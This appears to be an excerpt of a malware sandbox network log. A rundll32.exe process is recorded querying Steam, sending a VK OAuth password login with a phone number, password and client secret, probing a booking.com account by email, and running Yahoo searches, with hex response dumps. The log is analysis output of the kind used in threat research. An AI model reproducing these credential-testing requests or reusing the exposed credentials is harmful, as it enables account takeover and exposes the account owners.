class=\"market_listing_price_listings_block\">\r\n\t\t\t<div class=\"market_lis

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50048	23.194.234.100	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:53 UTC	604	OUT	GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Quality[]=tag_unusual&category_730_Quality[]=tag_unusual_strange HTTP/1.1 Host: steamcommunity.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50052	87.240.139.193	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:56 UTC	636	OUT	GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131 HTTP/1.1 Host: api.vk.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.5; WOW64; en-US) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/50.0.2209.400 Safari/601.1 Edge/15.93446 Accept: /
2023-12-10 16:50:56 UTC	652	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 0d 0a 53 65 72 76 65 72 3a 20 6b 69 74 74 65 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 35 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 4b 50 48 50 2f 37 2e 34 2e 31 31 35 32 37 36 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 72 65 6d 69 78 69 72 3d 44 45 4c 45 54 45 44 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 Data Ascii: HTTP/1.1 401 UnauthorizedServer: kittenxDate: Sun, 10 Dec 2023 16:50:56 GMTContent-Type: application/json; charset=utf-8Content-Length: 312Connection: closeX-Powered-By: KPHP/7.4.115276Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00
2023-12-10 16:50:56 UTC	312	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 6e 65 65 64 5f 63 61 70 74 63 68 61 22 2c 22 63 61 70 74 63 68 61 5f 73 69 64 22 3a 22 37 34 33 34 36 38 34 31 31 31 38 31 22 2c 22 69 73 5f 72 65 66 72 65 73 68 5f 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 63 61 70 74 63 68 61 5f 69 6d 67 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 76 6b 2e 63 6f 6d 5c 2f 63 61 70 74 63 68 61 2e 70 68 70 3f 73 69 64 3d 37 34 33 34 36 38 34 31 31 31 38 31 26 73 6f 75 72 63 65 3d 61 70 69 2d 6f 61 75 74 68 26 61 70 70 5f 69 64 3d 33 31 34 30 36 32 33 26 64 65 76 69 63 65 5f 69 64 3d 36 33 46 32 30 39 38 33 2d 44 42 46 36 2d 48 39 48 30 2d 31 43 36 39 2d 44 31 45 30 2d 48 33 46 46 44 31 34 49 37 31 38 49 26 72 65 73 69 7a 65 64 3d 31 22 2c 22 63 61 70 74 63 68 61 5f 74 73 22 3a 31 37 30 32 32 32 Data Ascii: {"error":"need_captcha","captcha_sid":"743468411181","is_refresh_enabled":true,"captcha_img":"https:\/\/vk.com\/captcha.php?sid=743468411181&source=api-oauth&app_id=3140623&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&resized=1","captcha_ts":170222

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50056	18.244.102.65	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:56 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 76 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:50:56 UTC	76	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 31 6b 65 6e 79 31 40 63 65 6e 74 72 75 6d 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"1keny1@centrum.sk"}}
2023-12-10 16:50:57 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 35 37 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 3d 65 33 30 3b 20 64 6f 6d 61 69 6e 3d 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 38 2d 44 65 63 2d 32 30 32 38 20 31 36 3a 35 30 3a 35 37 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:50:57 GMTset-cookie: bkng_sso_ses=e30; domain=.booking.com; path=/; expires=Fri, 08-Dec-2028 16:50:57
2023-12-10 16:50:57 UTC	116	IN	Data Raw: 36 65 0d 0a 7b 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 41 43 43 4f 55 4e 54 5f 5f 4c 4f 43 4b 45 44 22 2c 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 22 31 6b 65 6e 79 31 40 63 65 6e 74 72 75 6d 2e 73 6b 22 2c 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 7d 7d 0d 0a Data Ascii: 6e{"nextStep":"STEP_ACCOUNT__LOCKED","identifier":{"value":"1keny1@centrum.sk","type":"IDENTIFIER_TYPE__EMAIL"}}
2023-12-10 16:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50055	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:57 UTC	975	OUT	GET /search;_ylt=AwrFbBls7HVlr3Yra95LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=15&pz=7&pstart=7 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227052&ltv_c=2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:57 UTC	2068	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 35 37 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:50:57 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:50:57 UTC	5322	IN	Data Raw: 32 65 30 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2e06<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:50:57 UTC	5792	IN	Data Raw: 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e 70 75 73 68 28 68 28 65 29 29 3a 6e 5b 74 5d 2e 70 75 73 68 28 65 29 7d 29 29 3a 6e 75 6c 6c 21 3d Data Ascii: eate(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].push(h(e)):n[t].push(e)})):null!=
2023-12-10 16:50:57 UTC	16384	IN	Data Raw: 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 Data Ascii: (t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedown",this.md
2023-12-10 16:50:57 UTC	2440	IN	Data Raw: 73 70 61 6e 3e 20 7b 32 7d 20 7b 33 7d 20 7b 34 7d 20 7b 35 7d 20 7b 36 7d 27 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 65 28 65 29 7b 76 61 72 20 74 2c 69 2c 73 2c 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 61 3d 65 2e 6d 2c 6f 3d 65 2e 64 2c 72 3d 28 65 3d 65 2e 66 64 29 26 26 65 2e 73 68 6f 77 5f 73 75 62 74 69 74 6c 65 3f 65 2e 73 68 6f 77 5f 73 75 62 74 69 74 6c 65 3a 30 3b 61 3d 3d 56 26 26 65 26 26 21 72 26 26 28 6f 26 26 22 6d 6f 76 69 65 22 3d 3d 6f 2e 73 75 62 64 6e 3f 28 69 3d 65 2e 79 65 61 72 7c 7c 22 22 2c 61 3d 65 2e 67 65 6e 72 65 26 26 65 2e 67 65 6e 72 65 5b 30 5d 3f 65 2e 67 65 6e 72 65 5b 30 5d 2b 22 20 22 2b 6e 2e 74 65 78 74 2e 6d 6f 76 69 65 3a 6e 2e 74 65 78 74 2e 6d 6f 76 69 65 2c 72 3d 65 2e 72 65 6c 65 61 73 65 44 61 74 65 3f 6e 65 77 Data Ascii: span> {2} {3} {4} {5} {6}'}}function je(e){var t,i,s,n=this.config,a=e.m,o=e.d,r=(e=e.fd)&&e.show_subtitle?e.show_subtitle:0;a==V&&e&&!r&&(o&&"movie"==o.subdn?(i=e.year\|\|"",a=e.genre&&e.genre[0]?e.genre[0]+" "+n.text.movie:n.text.movie,r=e.releaseDate?new
2023-12-10 16:50:57 UTC	8152	IN	Data Raw: 2e 6e 75 6d 26 26 28 65 2e 74 69 74 6c 65 3d 69 28 74 2e 74 69 74 6c 65 54 70 6c 2c 5b 65 2e 66 72 6f 6d 55 6e 69 74 2c 65 2e 74 69 74 6c 65 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 73 3d 74 2e 69 64 78 2c 6e 3d 74 2e 6d 2c 74 3d 74 2e 66 64 3b 69 2e 65 6e 61 62 6c 65 64 26 26 35 33 3d 3d 3d 6e 26 26 30 3d 3d 3d 73 26 26 74 26 26 28 65 2e 6c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 61 2d 63 75 72 72 65 6e 63 79 22 29 2c 22 31 2e 30 30 22 21 3d 3d 74 2e 6e 75 6d 29 26 26 65 2e 6c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 61 2d 63 75 72 72 65 6e 63 79 2d 70 6c 75 72 61 6c 22 29 7d 66 75 6e 63 74 69 6f 6e 20 61 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d Data Ascii: .num&&(e.title=i(t.titleTpl,[e.fromUnit,e.title]))}function nt(e,t){var i=this.config,s=t.idx,n=t.m,t=t.fd;i.enabled&&53===n&&0===s&&t&&(e.li.classList.add("sa-currency"),"1.00"!==t.num)&&e.li.classList.add("sa-currency-plural")}function at(){this.config=
2023-12-10 16:50:57 UTC	13568	IN	Data Raw: 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 28 6f 2e 6d 6f 64 65 6c 2e 72 65 6d 6f 76 65 41 74 28 63 29 2c 6e 2e 66 65 74 63 68 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 29 7d 29 2c 73 2e 73 65 6e 64 28 6e 75 6c 6c 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 26 26 28 28 74 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 64 69 76 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 2e 70 6c 61 63 65 Data Ascii: e=s.status;(4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&(o.model.removeAt(c),n.fetchAfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBeforeFetch)}),s.send(null),n.placeholder&&((t=this.createElem(n.placeholder,"div")).innerHTML=n.place
2023-12-10 16:50:57 UTC	16384	IN	Data Raw: 28 66 2c 45 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c 5f 65 2c 74 29 7d 7d 2c 43 65 29 2c 64 2e 73 61 52 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 28 54 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 2e 70 61 73 66 3d 5b 5d 2c 74 2e 72 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 74 2e 63 75 72 72 65 6e 74 50 6f 73 3d 30 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 66 2c 77 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c 53 65 2c 74 29 7d 7d 2c 54 65 29 2c 64 2e 73 61 53 68 6f 70 70 69 6e 67 52 65 66 69 6e 65 6d 65 6e 74 3d 28 52 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 Data Ascii: (f,Ee,t),e.on(I,_e,t)}},Ce),d.saRelatedStocks=(Te.prototype={init:function(e){var t=this;t.pasf=[],t.relatedStocks=[],t.beforeNode=null,t.currentPos=0,(t.app=e).on(f,we,t),e.on(I,Se,t)}},Te),d.saShoppingRefinement=(Re.prototype={init:function(e){var t=thi
2023-12-10 16:50:57 UTC	2816	IN	Data Raw: 6d 70 49 6d 61 67 65 50 72 6f 66 69 6c 65 2e 6e 6f 49 6d 61 67 65 20 70 20 61 7b 63 6f 6c 6f 72 3a 23 30 30 30 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 64 64 20 2e 63 6f 6d 70 49 6d 61 67 65 50 72 6f 66 69 6c 65 20 20 70 20 61 7b 63 6f 6c 6f 72 3a 23 46 46 46 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 6f 6d 70 54 65 78 74 20 70 20 61 2e 6d 2d 30 2c 20 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 73 74 78 74 20 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 6c 61 79 6f 75 74 43 65 6e 74 65 72 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e 73 74 72 73 2b 61 7b 63 6f 6c 6f 72 3a Data Ascii: mpImageProfile.noImage p a{color:#000}#results #right .cardReg .dd .compImageProfile p a{color:#FFF}#results #right .compText p a.m-0, #results #right .compTitle .stxt a{color:#4d5156 !important;}#results #right .layoutCenter .compText span.strs+a{color:
2023-12-10 16:50:57 UTC	5416	IN	Data Raw: 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 20 2e 73 70 72 69 74 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 31 30 35 70 78 3b 77 69 64 74 68 3a 32 38 70 78 3b 68 65 69 67 68 74 3a 32 38 70 78 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 7b 68 65 69 67 68 74 3a 36 38 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 70 65 72 6d 69 73 73 69 6f 6e 2d 67 75 69 64 65 20 2e 67 75 69 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 20 2e 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c Data Ascii: sion-guide .guide .microphone .sprite{background-position:0 -105px;width:28px;height:28px}.permission-guide .guide .guide-text{height:68px;margin-left:24px;float:left}.permission-guide .guide .guide-text .title{color:#232a31;font-size:32px;font-family:Hel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50065	87.240.139.193	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:02 UTC	382	OUT	GET /captcha.php?sid=743468411181&dif=1 HTTP/1.1 Host: api.vk.com Keep-Alive: 300 Connection: keep-alive Cookie: remixir=DELETED; remixlang=3; remixstlid=9011365370180452841_RzfBd8PuBfS4eXPJskBZDvpZVlBvn17PjHFLCzGzotH User-Agent: Mozilla/5.0 (Windows NT 10.5; WOW64; en-US) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/50.0.2209.400 Safari/601.1 Edge/15.93446 Accept: /
2023-12-10 16:51:02 UTC	417	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6b 69 74 74 65 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 30 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 6a 70 65 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 36 39 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 4b 50 48 50 2f 37 2e 34 2e 31 31 35 32 37 36 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 72 65 6d 69 78 69 72 3d 44 45 4c 45 54 45 44 3b 20 65 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 76 6b Data Ascii: HTTP/1.1 200 OKServer: kittenxDate: Sun, 10 Dec 2023 16:51:02 GMTContent-Type: image/jpegContent-Length: 2698Connection: closeX-Powered-By: KPHP/7.4.115276Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk
2023-12-10 16:51:02 UTC	862	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 36 32 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 32 00 82 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default qualityC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222222"
